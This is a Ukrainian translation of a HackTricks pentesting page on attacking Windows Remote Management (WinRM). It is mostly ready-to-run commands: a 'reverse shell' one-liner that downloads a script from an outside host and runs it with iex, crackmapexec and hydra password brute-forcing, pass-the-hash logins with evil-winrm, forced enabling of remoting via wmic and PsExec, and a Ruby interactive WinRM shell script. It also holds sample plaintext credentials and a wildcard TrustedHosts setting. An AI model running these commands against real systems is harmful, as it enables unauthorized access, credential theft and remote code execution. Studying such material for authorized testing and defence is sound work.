hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md
2024-03-29 19:49:46 +01:00

20 KiB
Raw Blame History

5985,5986 - Тестування на проникнення WinRM

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за вразливостями!

Інсайти щодо Хакінгу
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про Хакінг у Реальному Часі
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні Оголошення
Будьте в курсі найновіших програм нагород за вразливості та важливих оновлень платформи

Приєднуйтесь до нас на Discord і почніть співпрацювати з найкращими хакерами вже сьогодні!

WinRM

Windows Remote Management (WinRM) відзначається як протокол від Microsoft, який дозволяє віддалене управління системами Windows через HTTP(S), використовуючи SOAP у процесі. Це фундаментально працює на основі WMI, представляючи себе як інтерфейс на основі HTTP для операцій WMI.

Наявність WinRM на машині дозволяє просте віддалене управління за допомогою PowerShell, схоже на те, як працює SSH для інших операційних систем. Щоб визначити, чи працює WinRM, рекомендується перевірити відкриття конкретних портів:

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

Відкритий порт зі списку вище свідчить про те, що WinRM налаштований, тим самим дозволяючи спроби ініціювати віддалену сесію.

Ініціювання сесії WinRM

Для налаштування PowerShell для WinRM використовується командлет Microsoft Enable-PSRemoting, який налаштовує комп'ютер на прийом віддалених команд PowerShell. З підвищеним доступом до PowerShell можна виконати наступні команди для активації цієї функціональності та вказати будь-який хост як довіреного:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Цей підхід передбачає додавання маски до конфігурації trustedhosts, крок, який потребує обережного врахування через його наслідки. Також відзначається, що може знадобитися змінити тип мережі з "Public" на "Work" на машині атакуючого.

Крім того, WinRM може бути активований віддалено за допомогою команди wmic, продемонстровано наступним чином:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Цей метод дозволяє віддалено налаштовувати WinRM, підвищуючи гнучкість у керуванні віконними машинами здалеку.

Перевірка налаштування

Для перевірки налаштування вашої атакуючої машини використовується команда Test-WSMan, щоб перевірити, чи цільовий об'єкт належним чином налаштований для WinRM. Виконавши цю команду, ви повинні очікувати отримати деталі щодо версії протоколу та wsmid, що вказує на успішне налаштування. Нижче наведено приклади, що демонструють очікуваний вивід для налаштованої цілі порівняно з неналаштованою:

  • Для цілі, яка належним чином налаштована, вивід буде схожий на цей:
Test-WSMan <target-ip>

Відповідь повинна містити інформацію про версію протоколу та wsmid, що свідчить про правильну настройку WinRM.

  • Навпаки, для цілі, не налаштованої для WinRM, це призведе до відсутності такої детальної інформації, що підкреслює відсутність належної настройки WinRM.

Виконання команди

Для виконання команди ipconfig віддалено на цільовій машині та перегляду її виводу зробіть:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Ви також можете виконати команду вашої поточної консолі PS через Invoke-Command. Припустимо, що у вас локально є функція під назвою enumeration і ви хочете виконати її на віддаленому комп'ютері, ви можете зробити так:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Виконання скрипту

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Отримати зворотню оболонку

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Отримати PS-сесію

Для отримання інтерактивної оболонки PowerShell використовуйте Enter-PSSession:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

Сеанс буде запущено в новому процесі (wsmprovhost) всередині "жертви"

Примусове відкриття WinRM

Для використання PS Remoting та WinRM, але якщо комп'ютер не налаштований, ви можете активувати його за допомогою:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Збереження та відновлення сесій

Це не працюватиме, якщо мова обмежена на віддаленому комп'ютері.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

У цих сеансах ви можете завантажувати PS скрипти за допомогою Invoke-Command

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Помилки

Якщо ви зустрінете наступну помилку:

enter-pssession : Підключення до віддаленого сервера 10.10.10.175 не вдалося з наступним повідомленням про помилку: Клієнт WinRM не може обробити запит. Якщо схема аутентифікації відрізняється від Kerberos або якщо клієнтський комп'ютер не приєднаний до домену, тоді потрібно використовувати транспорт HTTPS або додати машину призначення до налаштування конфігурації TrustedHosts. Використовуйте winrm.cmd для налаштування TrustedHosts. Зверніть увагу, що комп'ютери в списку TrustedHosts можуть не бути аутентифіковані. Ви можете отримати більше інформації, виконавши наступну команду: winrm help config. Для отримання додаткової інформації див. тему довідки about_Remote_Troubleshooting.

Спробуйте на клієнті (інформація з тут):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

Приєднуйтесь до сервера HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо взлому
Взаємодійте з контентом, який досліджує захоплення та виклики взлому

Новини про взломи в реальному часі
Будьте в курсі швидкозмінного світу взлому завдяки новинам та інсайтам в реальному часі

Останні оголошення
Будьте в курсі найновіших запусків баг баунті та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з найкращими хакерами вже сьогодні!

Підключення WinRM в Linux

Брутфорс

Будьте обережні, брутфорс WinRM може заблокувати користувачів.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Використання evil-winrm

gem install evil-winrm

Прочитайте документацію на її github: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Для підключення до IPv6-адреси за допомогою evil-winrm створіть запис всередині /etc/hosts, встановивши ім'я домену на IPv6-адрес та підключіться до цього домену.

Передача хешу з evil-winrm

evil-winrm -u <username> -H <Hash> -i <IP>

Використання PS-машини docker

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Використання ruby-скрипта

Код витягнуто звідси: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

References

Автоматичні команди HackTricks

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

Приєднуйтесь до сервера HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо хакінгу
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про хакінг у реальному часі
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні оголошення
Будьте в курсі найновіших запусків баг баунті та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з найкращими хакерами вже сьогодні!

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks: